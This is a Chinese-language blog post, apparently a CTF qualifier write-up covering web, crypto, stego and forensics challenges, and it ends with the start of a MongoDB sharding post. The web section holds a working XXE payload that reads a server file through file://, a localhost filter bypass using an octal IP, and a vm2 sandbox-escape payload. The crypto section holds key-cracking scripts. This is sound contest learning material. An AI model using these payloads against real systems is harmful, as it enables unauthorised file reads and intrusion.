(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) (\u0026#39;_\u0026#39;) 經驗判斷為 AAencode，這東西丟進去 JS Console 也是會平安執行的。\nFlag: R2S{ch47_w17h_m3_p122}\nPsychic # Problem Solver Psychic: tico88612\n點進去連結後原始碼也沒有東西，以為要把網站打下來，但解析後發現是 GitHub 就果斷放棄，剩下估計是藏在照片了。\n但一直在 Brave 瀏覽器看不出來，想說要直接開 PhotoShop 來調亮度了，結果\u0026hellip;\u0026hellip;\n呃\u0026hellip;\u0026hellip;好喔。 看 Flag 提示感覺是 Libpng 的 Render 問題，但實際情況還要再查一下。\n原圖如下：\nFlag: R2S{l1bpn6_r3nd3r5_d1ff3r3n7ly_huh}\nI\u0026rsquo;m The Map # Hint: Flag file is located at /flag.txt.\nProblem Solver: cow03haha\n透過 Google 地圖產生 KML 後丟上去，系統會回傳最遠兩點之間的距離。\n發現哪裡有問題了嗎？他會回傳座標的名稱\n可以透過 XXE(XML eXternal Entity) Injection 對此把檔案提取出來\nPayload 如下\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE replace [\u0026lt;!ENTITY ent SYSTEM \u0026#34;file:///flag.txt\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;kml xmlns=\u0026#34;http://www.opengis.net/kml/2.2\u0026#34;\u0026gt; \u0026lt;Document\u0026gt; \u0026lt;name\u0026gt;未命名的地圖\u0026lt;/name\u0026gt; \u0026lt;description/\u0026gt; \u0026lt;Style id=\u0026#34;icon-1899-0288D1-nodesc-normal\u0026#34;\u0026gt; \u0026lt;IconStyle\u0026gt; \u0026lt;color\u0026gt;ffd18802\u0026lt;/color\u0026gt; \u0026lt;scale\u0026gt;1\u0026lt;/scale\u0026gt; \u0026lt;Icon\u0026gt; \u0026lt;href\u0026gt;https://www.gstatic.com/mapspro/images/stock/503-wht-blank_maps.png\u0026lt;/href\u0026gt; \u0026lt;/Icon\u0026gt; \u0026lt;hotSpot x=\u0026#34;32\u0026#34; xunits=\u0026#34;pixels\u0026#34; y=\u0026#34;64\u0026#34; yunits=\u0026#34;insetPixels\u0026#34;/\u0026gt; \u0026lt;/IconStyle\u0026gt; \u0026lt;LabelStyle\u0026gt; \u0026lt;scale\u0026gt;0\u0026lt;/scale\u0026gt; \u0026lt;/LabelStyle\u0026gt; \u0026lt;BalloonStyle\u0026gt; \u0026lt;text\u0026gt;\u0026lt;![CDATA[\u0026lt;h3\u0026gt;$[name]\u0026lt;/h3\u0026gt;]]\u0026gt;\u0026lt;/text\u0026gt; \u0026lt;/BalloonStyle\u0026gt; \u0026lt;/Style\u0026gt; \u0026lt;Style id=\u0026#34;icon-1899-0288D1-nodesc-highlight\u0026#34;\u0026gt; \u0026lt;IconStyle\u0026gt; \u0026lt;color\u0026gt;ffd18802\u0026lt;/color\u0026gt; \u0026lt;scale\u0026gt;1\u0026lt;/scale\u0026gt; \u0026lt;Icon\u0026gt; \u0026lt;href\u0026gt;https://www.gstatic.com/mapspro/images/stock/503-wht-blank_maps.png\u0026lt;/href\u0026gt; \u0026lt;/Icon\u0026gt; \u0026lt;hotSpot x=\u0026#34;32\u0026#34; xunits=\u0026#34;pixels\u0026#34; y=\u0026#34;64\u0026#34; yunits=\u0026#34;insetPixels\u0026#34;/\u0026gt; \u0026lt;/IconStyle\u0026gt; \u0026lt;LabelStyle\u0026gt; \u0026lt;scale\u0026gt;1\u0026lt;/scale\u0026gt; \u0026lt;/LabelStyle\u0026gt; \u0026lt;BalloonStyle\u0026gt; \u0026lt;text\u0026gt;\u0026lt;![CDATA[\u0026lt;h3\u0026gt;$[name]\u0026lt;/h3\u0026gt;]]\u0026gt;\u0026lt;/text\u0026gt; \u0026lt;/BalloonStyle\u0026gt; \u0026lt;/Style\u0026gt; \u0026lt;StyleMap id=\u0026#34;icon-1899-0288D1-nodesc\u0026#34;\u0026gt; \u0026lt;Pair\u0026gt; \u0026lt;key\u0026gt;normal\u0026lt;/key\u0026gt; \u0026lt;styleUrl\u0026gt;#icon-1899-0288D1-nodesc-normal\u0026lt;/styleUrl\u0026gt; \u0026lt;/Pair\u0026gt; \u0026lt;Pair\u0026gt; \u0026lt;key\u0026gt;highlight\u0026lt;/key\u0026gt; \u0026lt;styleUrl\u0026gt;#icon-1899-0288D1-nodesc-highlight\u0026lt;/styleUrl\u0026gt; \u0026lt;/Pair\u0026gt; \u0026lt;/StyleMap\u0026gt; \u0026lt;Folder\u0026gt; \u0026lt;name\u0026gt;(未命名的圖層)\u0026lt;/name\u0026gt; \u0026lt;Placemark\u0026gt; \u0026lt;name\u0026gt;\u0026amp;ent;\u0026lt;/name\u0026gt; \u0026lt;styleUrl\u0026gt;#icon-1899-0288D1-nodesc\u0026lt;/styleUrl\u0026gt; \u0026lt;Point\u0026gt; \u0026lt;coordinates\u0026gt; 121.3694369,25.0147899,0 \u0026lt;/coordinates\u0026gt; \u0026lt;/Point\u0026gt; \u0026lt;/Placemark\u0026gt; \u0026lt;Placemark\u0026gt; \u0026lt;name\u0026gt;點 3\u0026lt;/name\u0026gt; \u0026lt;styleUrl\u0026gt;#icon-1899-0288D1-nodesc\u0026lt;/styleUrl\u0026gt; \u0026lt;Point\u0026gt; \u0026lt;coordinates\u0026gt; 121.1263643,24.9874084,0 \u0026lt;/coordinates\u0026gt; \u0026lt;/Point\u0026gt; \u0026lt;/Placemark\u0026gt; \u0026lt;/Folder\u0026gt; \u0026lt;/Document\u0026gt; \u0026lt;/kml\u0026gt; Line 2 產生 Entity 命名為 ent 並且使用 file:// 協議把檔案倒出來。\nLine 52 將其中一個名字注入 \u0026amp;ent; 系統就會執行了。\nFlag: R2S{VerY_51mPLE_xxe_4yy}\nLocal Media Server # Problem Solver: idisused\n點進去後\n後面網址也無法更改，127.0.0.1 也不行，外網也不行，完全不知道怎麼下手，自己果斷作罷。\nidisused 提點以後，發現有其他 CVE 有其他網址可以闖 Localhost。\n後段網址改為 http://0177.0.0.1/play.html 就可以進入了。\n又是統神端火鍋\u0026hellip;\u0026hellip;\n右鍵檢查該影片來源，index.m3u8，打開記事本看一下。\n再把裡面每個 varient_*/*.m3u8 抓下來看看。\n其中一個檔案應該就是這個。\nFlag: R2S{1'm_50_b0r3d_7h47_1_unp4ck_7h3_m3d14_455375_1n_4_w3bp463}\nLocal Media Server #2 # Problem Solver: tico88612\n如果前一題會了，這一題就是依樣畫葫蘆。\n你會看到有些檔案還沒翻過 *.mp4 或 *.m4s，其實就是從這些資料繼續往下翻。\n如果文字檔打不開，那就是開 iHex 慢慢找了。\n其中有個檔案 init_2.mp4\nFlag: R2S{LEKO_SO_CUTE_AYY}\nWorking Status # Problem Solver: X\n據說是 XSS，用 Admin 帳號進入就可以發文了\nBTW 到底是誰開了在 Web 放 CSS 動畫干擾參賽者的歪風啊！\nFlag: 我不知道.jpg\nCalculator 0x1 # Problem Solver: X\nconst { VM } = require(\u0026#39;vm2\u0026#39;); const express = require(\u0026#34;express\u0026#34;) const path = require(\u0026#34;path\u0026#34;) const { FLAG } = require(\u0026#39;./flag.json\u0026#39;); const app = express() app.set(\u0026#39;views\u0026#39;, path.join(__dirname, \u0026#39;views\u0026#39;)); app.set(\u0026#39;view engine\u0026#39;, \u0026#39;pug\u0026#39;); class Security { constructor() { } disable() { this.#lock = false; return \u0026#34;\u0026#34; } isLocked() { return this.#lock; } #lock = true } app.get(\u0026#34;/\u0026#34;, (req, res) =\u0026gt; { let result = \u0026#34;ERROR!\u0026#34;; let security = new Security(); const exec = req.query.q if (exec === undefined || exec.length === 0) { result = \u0026#34;\u0026#34;; } if (exec \u0026amp;\u0026amp; exec.length \u0026lt; 55 \u0026amp;\u0026amp; !/[^.`+\\|a-z]/.test(exec)) { try { const vm = new VM({ timeout: 100, sandbox: {sec: security} }); const execResult = vm.run(exec); if (execResult === 1069 \u0026amp;\u0026amp; !security.isLocked()) { result = FLAG } } catch (e) { console.error(e) } } res.render(\u0026#39;index\u0026#39;, { result }); }) app.get(\u0026#39;/source\u0026#39;, function (req, res) { res.sendFile(path.join(__dirname, \u0026#39;app.js\u0026#39;)); }); module.exports = app; 要造出一段 Payload 符合 Line 35 條件，把 security 修改為 disable，並且讓 Line 41 回傳 1069。 我實在是太弱想不到 Payload。\n給出 Discord 成功的 Payload：\n+sec.disable``+`x`+`aaaa`.length+`aa`.length+`d`|`` // 51 chars Flag: R2S{j4V45Cr1pT_15_tH3_835t_Pr09r4mm1N9_l4n9U493_1n_Th3_W0rLd}\nSimple Book Searcher # Problem Solver: X\n據說也是 SQL Injection，據群組所說 Union 就可以拿下來了。\nFlag: 挖母雞抖.jpg\nSmart IoT # Problem Solver: X\nDiscord 群組有解法，但我也看不懂。\nFlag: 窩不知道.jpg\nPwnable 💥 # 我都不會，跳過。\nStego 💠 # Barcode in Image # Problem Solver: X\n此題解為官方解答\n把圖片放大就會有一些些 #878787 的小色塊，把該色塊直條變呈黑色，反之則白色。\n然後你就會得到像這樣的圖片\nFlag: R2S{Shirley?Wow!Jennifer_Lopez!Did_you_just_attack_my_image?My_barcode_on_image?Wow,I_guess_I_did.Cool.}\nMusic Xor # mix1.mp3 mix2.mp3\nProblem Solver: X\n我隊友用 Audacity 合出兩個版本 刺耳注意！ mixed1.mp3 這個稍微還好 mixed2.mp3\n但自己聽力還是太爛，Flag 也出太爛，合成出來了，但聽猜不出 Flag 就沒分數。\nFlag: R2S{the flag is music xor is so fun}\nReverse 💫 \u0026amp; Misc 🔱 # Problem Solver: waig548\n兩個大 Part 全都他單幹掉了，Writeup 連結。\nCrypto 🔐 # Base1024 # 🐙🚡🎫🚯🚾🦃🈲😛😲🏙📩🦆😐🇲🌨💡😠📎🈚💡🙂🏦💅🎆🚾🚿🎤🦆😮🏦🌝🦇📥🏦🏁🎅📅🍨☕☕ Problem Solver: waig548\nGoogle 搜尋 Base1024 就會有 Decoder 了。\nFlag: R2S{3мойи_бAсе_енцод3_ис_фун}\nBiGGG_RSA # output\nc = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222 e = 65537 n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627 task.py\n#!/usr/bin/python3 from Crypto.Util.number import getPrime , bytes_to_long , long_to_bytes from secret import flag from gmpy2 import next_prime n = 1 tmp = getPrime(50) for i in range(7): n *= tmp tmp = next_prime(n) e = 0x10001 m = bytes_to_long(flag) c = pow(m , e , n) with open(\u0026#34;output\u0026#34; , \u0026#34;w\u0026#34;) as f: f.write(f\u0026#34;c = {str(c)}\\n\u0026#34;) f.write(f\u0026#34;e = {str(e)}\\n\u0026#34;) f.write(f\u0026#34;n = {str(n)}\\n\u0026#34;) Problem Solver: tico88612\n前幾天在學 RSA 正好派上用場，不過那個 $n$ 丟了好幾個套件 factor 都丟不出來（Pycryptodome、Sage）\n直到網路上找到的 Sympy，剛按下 enter，他就跑出來了。\n我：？？？？？？\nfrom sympy import factorint n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627 print(factorint(n)) 把這段程式碼輸出結果（也就是分解出來的質數）給下一隻程式裡面的變數 $f$\n#!/usr/bin/python3 from Crypto.Util.number import * n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627 e = 65537 c = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222 f = [1062780696629569, 1062780696629591, 1129502809128455357571730976453, 1275776595829071855433239892484300486868982494660419650558621, 1627605922465214963157262221175088960020721326796500889230397342216416452509325884768249583759916712501768532719126704379, 2649101038843843342291968578928310026248359608735783573418745440303879684369201027998779593318625620672967978390839255694804059830958732184991406633856012912555802095847238944900190788065229904674170980451099391761020719548856505607069148473, 7017736314003529992662158109335222483129630843602940054156239484721978771206772350944355441543925520212436896619771663845202011424483968685661791826317198558083585530193896005643195785970836356559241135345120545882411439349964743189424690612735144731820084432823739265401167465567592654070933927486640477820600598975940046682991249832318658624072203241719941593224202163706740308371377596859026820792926451405281232022216807167994601696760329606141789531963234584171729915978057303] phi = 1 for x in f: phi *= (x - 1) d = inverse(e, phi) print(long_to_bytes(pow(c , d , n))) Flag: R2S{Wut_4_l1tTl3_EnCrYp7_N}\n同場加映 —— MuMu 官方解答 # #!/usr/bin/python3 from gmpy2 import isqrt , is_square , is_prime from Crypto.Util.number import long_to_bytes , inverse exec(open(\u0026#34;output\u0026#34; , \u0026#34;r\u0026#34;).read()) def fermat(n): assert not is_prime(n) a = isqrt(n) + 1 while not is_square(pow(a , 2) - n): a += 1 b = isqrt(pow(a , 2) - n) p = a + b q = a - b assert p * q == n return int(p) , int(q) def dec(primes , e , c): phi = 1 n = 1 for i in primes: phi *= (i - 1) n *= i d = inverse(e , phi) m = pow(c , d , n) flag = long_to_bytes(m) return flag.decode(\u0026#34;latin-1\u0026#34;) primes = [] for i in range(8): try: p , n = fermat(n) primes.append(p) except : primes.append(n) break flag = dec(primes , e , c) print(flag) 2-AES # output.py\nnotflag = \u0026#34;5232537b316d5f6e30375f666c34367d\u0026#34; notflagC = \u0026#34;506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b\u0026#34; flagC = \u0026#34;ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5\u0026#34; task.py\n#/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad from os import urandom from secret import flag kpre = b\u0026#34;make_it_easy_\u0026#34; size = AES.block_size - len(kpre) key1 = kpre + urandom(size) key2 = kpre + urandom(size) notflag = b\u0026#34;R2S{1m_n07_fl46}\u0026#34; def cipher(key, plaintext, mode = AES.MODE_ECB): encrypter = AES.new(key, mode) ciphertext = encrypter.encrypt(plaintext) return ciphertext def encrypt(key1, key2, plaintext): return cipher(key1,cipher(key2,pad(plaintext,AES.block_size))) if __name__ == \u0026#39;__main__\u0026#39;: notflagC = encrypt(key1,key2,notflag) flagC = encrypt(key1,key2,flag) with open(\u0026#34;output.py\u0026#34;, \u0026#34;w+\u0026#34;) as f: f.write(f\u0026#34;notflag = \\\u0026#34;{notflag.hex()}\\\u0026#34;\\n\u0026#34;) f.write(f\u0026#34;notflagC = \\\u0026#34;{notflagC.hex()}\\\u0026#34;\\n\u0026#34;) f.write(f\u0026#34;flagC = \\\u0026#34;{flagC.hex()}\\\u0026#34;\\n\u0026#34;) Problem Solver: tico88612 + waig548\n看程式碼大概就知道，AES Random 最後 3 個字元，每個字元要跑 256 個字元，總共 $2^{24}$ 次窮舉\n窮舉每一把 Key，對 notflag 做 encrypt，也對 notflagC 做 decrypt，把結果存進各自的陣列。\nnotflagC Decrypt 後還要先扣掉 Padding，不然你會找不到交集喔！（然後我這段 Code 每一次重跑要 30 min\u0026hellip;\u0026hellip;）\n最後對他們做交集，encrypt 出來的數字就會是 key1，decrypt 出來的數字就會是 key2。\n#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes, bytes_to_long import math import time import numpy as np def crack(): plaintext = \u0026#39;R2S{1m_n07_fl46}\u0026#39; plaintext_enc = plaintext.encode(\u0026#39;utf-8\u0026#39;) ciphertext = \u0026#39;506bc537abd10ffebe9c2f007ee4e1f6\u0026#39; cipher = long_to_bytes(int(ciphertext, 16)) print(cipher) DESCipher1 = [] DESCipher2 = [] base_key = b\u0026#34;make_it_easy_\u0026#34; rounds = pow(256, 3) tBegin = time.time() for i in range(rounds): key = base_key + long_to_bytes(i, 3) enc = AES.new(key, AES.MODE_ECB).encrypt(plaintext_enc) DESCipher1.append(enc) dec = AES.new(key, AES.MODE_ECB).decrypt(cipher) DESCipher2.append(dec) print(\u0026#39;round\u0026#39;, i , \u0026#39;/\u0026#39;, rounds, \u0026#39;done\u0026#39;) tEnd = time.time() print(\u0026#39;[1] total time: \u0026#39;, tEnd - tBegin, \u0026#34; sec\u0026#34;) tBegin = time.time() intersect = np.intersect1d(np.array(DESCipher1), np.array(DESCipher2)) tEnd = time.time() print(\u0026#39;intersect: \u0026#39;, intersect) print(\u0026#39;[2] total time: \u0026#39;, tEnd - tBegin, \u0026#34; sec\u0026#34;) tBegin = time.time() if intersect.size != 1: print(\u0026#39;key should only match once, error!\u0026#39;) exit(0) else: index1 = np.where( DESCipher1 == intersect ) firstKey = index1[0][0] index2 = np.where( DESCipher2 == intersect ) secondKey = index2[0][0] tEnd = time.time() print(\u0026#39;key1: \u0026#39;, str(firstKey)) print(\u0026#39;key2: \u0026#39;, str(secondKey)) print(\u0026#39;[3] total time: \u0026#39;, tEnd - tBegin, \u0026#34; sec\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: crack() 輸出節錄：\nround 16777210 / 16777216 done round 16777211 / 16777216 done round 16777212 / 16777216 done round 16777213 / 16777216 done round 16777214 / 16777216 done round 16777215 / 16777216 done [1] total time: 1582.2749860286713 sec intersect: [b\u0026#39;z\\x9a5\\xdc\\xdf\\xa9\\x0bn\\xd9gv\\xb7\\x15O\\x07p\u0026#39;] [2] total time: 47.50265598297119 sec key1: 3886226 key2: 6449168 [3] total time: 8.087777853012085 sec key1, key2 轉成 Hex 給下一隻程式，然後再把 Task.py 魔改一下就可以了。\nBTW 我那天一直犯蠢 Decrypt 不出來，只好趕快把剛算出來的 Key 給隊友幫忙解，最後是 waig548 幫我送 Flag。\n#/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import long_to_bytes, bytes_to_long from os import urandom key1 = b\u0026#34;make_it_easy_\\x3B\\x4C\\x92\u0026#34; print(key1) key2 = b\u0026#34;make_it_easy_\\x62\\x68\\x10\u0026#34; print(key2) flag = long_to_bytes(int(\u0026#34;ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5\u0026#34;,16)) def cipher(key, plaintext, mode = AES.MODE_ECB): encrypter = AES.new(key, mode) ciphertext = encrypter.decrypt(plaintext) return ciphertext def encrypt(key1, key2, plaintext): return cipher(key1,cipher(key2,pad(plaintext,AES.block_size))) if __name__ == \u0026#39;__main__\u0026#39;: flagC = encrypt(key1,key2,flag) print(flagC) Flag: R2S{m461c4l_bru73f0rc3_1_G37_17_l1k3_f1v3_m1nu73}\n同場加映 —— Maple 大大的解答 \u0026amp; tqdm # 本場排行榜第一名的 Maple 也把他的 Code 分享到 Discord 上。\n我自己筆電跑只要 10 ~ 15 分鐘就跑完了，而且還有進度條的版本，超厲害的。\nfrom tqdm import tqdm from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from itertools import product notflag = bytes.fromhex(\u0026#34;5232537b316d5f6e30375f666c34367d\u0026#34;) notflagC = bytes.fromhex( \u0026#34;506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b\u0026#34; ) flagC = bytes.fromhex( \u0026#34;ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5\u0026#34; ) padded = pad(notflag, 16) kpre = b\u0026#34;make_it_easy_\u0026#34; table = {} for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc=\u0026#34;first\u0026#34;): k1 = kpre + bytes(a) ct = AES.new(k1, mode=AES.MODE_ECB).decrypt(notflagC) table[ct] = k1 for a in tqdm(product(range(256), repeat=3), total=256 ** 3, desc=\u0026#34;second\u0026#34;): k2 = kpre + bytes(a) ct = AES.new(k2, mode=AES.MODE_ECB).encrypt(padded) if ct in table: k1 = table[ct] print(k1, k2) flag = unpad( AES.new(k2, mode=AES.MODE_ECB).decrypt( AES.new(k1, mode=AES.MODE_ECB).decrypt(flagC) ), 16, ) print(flag) break Not Morse # task\n1000 021 000 1{1000 0 00 10 01 00 010 011 1 000 00011 100 01 00000 0001 1 0 00 001 10 0 0110 0 1 00000 10 01 10 100 0 110 0100 } Problem Solver: X\n本場比賽最通靈的題目。\n培根密碼\n把 $2$ 跟空白去掉，每五個字元排整齊，開始解密。\nFlag: R2S{RESHAPEANDDECODE}\nForensics 🌲 # Problem Solver: waig548\n基本上也都是全都他單幹出來，Writeup 連結\n但其中有一題大家都看很久。\nmd0 # 看到 pcap 檔案，就知道要拆封包了。\nWireshark 裡面的 Follow TCP Stream，把每一個影片都 Dump 下來。（Wireshark 其實有點太慢了，賽後 Staff 推薦 tshark）\n第一天晚上解到最後有兩部影片爛掉，我跟隊友們都修不了，以為還要再修影片，就果斷先解其他題目。\n直到第二天下午\u0026hellip;\u0026hellip;\nRRRRRRRRRRRRRRRRRRRR 氣死，直接做梗圖\n反正修好後就在其中一部右下角就有 Flag。\nFlag: R2S{https://youtu.be/072tU1tamd0}\n總結時間 # 這場比賽評價我個人覺得，要給一位真正剛學 CTF 的人打，其實還是有點點小難。\n新手大多都經驗不足＆工具不熟，即使老鳥喊著「題目簡單」，但對新手來說看到題目還是無字天書。\n不過這場比賽基本上也不能再出更簡單了，因為真的很難去拿捏難度。\n至少要會一些基礎工具再來打比賽會比較好，心理上也比較不會太挫敗。\n參加一些像是 AIS3 的資安體驗營活動，或是 picoCTF 新手向的平台，可能會稍微容易一些啦！\n這場隊友帶飛直接進 Offical 第三名，Final 應該是穩了，可以期待一下會出什麼可怕題目了。\n這場比賽就分享就到這裡，我們下一篇文章見，ㄅㄅ。\n","date":"2021/07/19","externalUrl":null,"permalink":"/posts/r2s-2021-quals/","section":"Posts","summary":"這次比賽真的不算是誤打誤撞了，號稱給新手入門 CTF 的比賽，抱著個新手心情參與了。\n","title":"R2S CTF 2021 Quals Writeup \u0026 參賽心得","type":"posts"},{"content":"","date":"2021/07/19","externalUrl":null,"permalink":"/tags/writeup/","section":"Tags","summary":"","title":"Writeup","type":"tags"},{"content":"","date":"2021/05/31","externalUrl":null,"permalink":"/tags/chunk/","section":"Tags","summary":"","title":"Chunk","type":"tags"},{"content":"","date":"2021/05/31","externalUrl":null,"permalink":"/tags/mongodb/","section":"Tags","summary":"","title":"Mongodb","type":"tags"},{"content":"","date":"2021/05/31","externalUrl":null,"permalink":"/tags/refinecollectionshardkey/","section":"Tags","summary":"","title":"RefineCollectionShardKey","type":"tags"},{"content":"","date":"2021/05/31","externalUrl":null,"permalink":"/tags/sharding/","section":"Tags","summary":"","title":"Sharding","type":"tags"},{"content":"最近著手研究 MongoDB 4.4 的一些相關 function 尤其是 refineCollectionShardKey 的解釋讓我很\u0026hellip;\u0026hellip; 一方面我才剛研究 MongoDB，可能也對此設計也不太理解，所以想做一下紀錄\n此篇為新手向教學，並非 MongoDB 原始碼深入閱讀，高手們請直接左上離開謝謝。\n先備知識 # 開始這篇文章的解釋之前，先來個先備知識 要使用此 function 之前，必須先知道 Sharding\nMongoDB Shard # 一組 MongoDB Cluster 都會有多個 Shard Server 每一台 Shard Server 會有多個 Chunk 每一組 Chunk 會有多筆資料\n資料中被選定的 Shard Key 會決定資料放置位置\n多台 Shard Server 的優勢：\n可以做水平擴展 Server 負載分擔 MongoDB Chunk # 說完 MongoDB Shard 一定要來說說 Chunk 啦！\n每個 Chunk 最大容量預設為 64 MB（可以自行調整）\n只要 Sharding 功能有開啟，Chunk 的 Auto Split 就會自己打開。 Chunk 只要高達 64 MB，MongoDB 就會幫你 Split（當然你也可以選擇自己 Split）。\n正式介紹 refineCollectionShardKey # 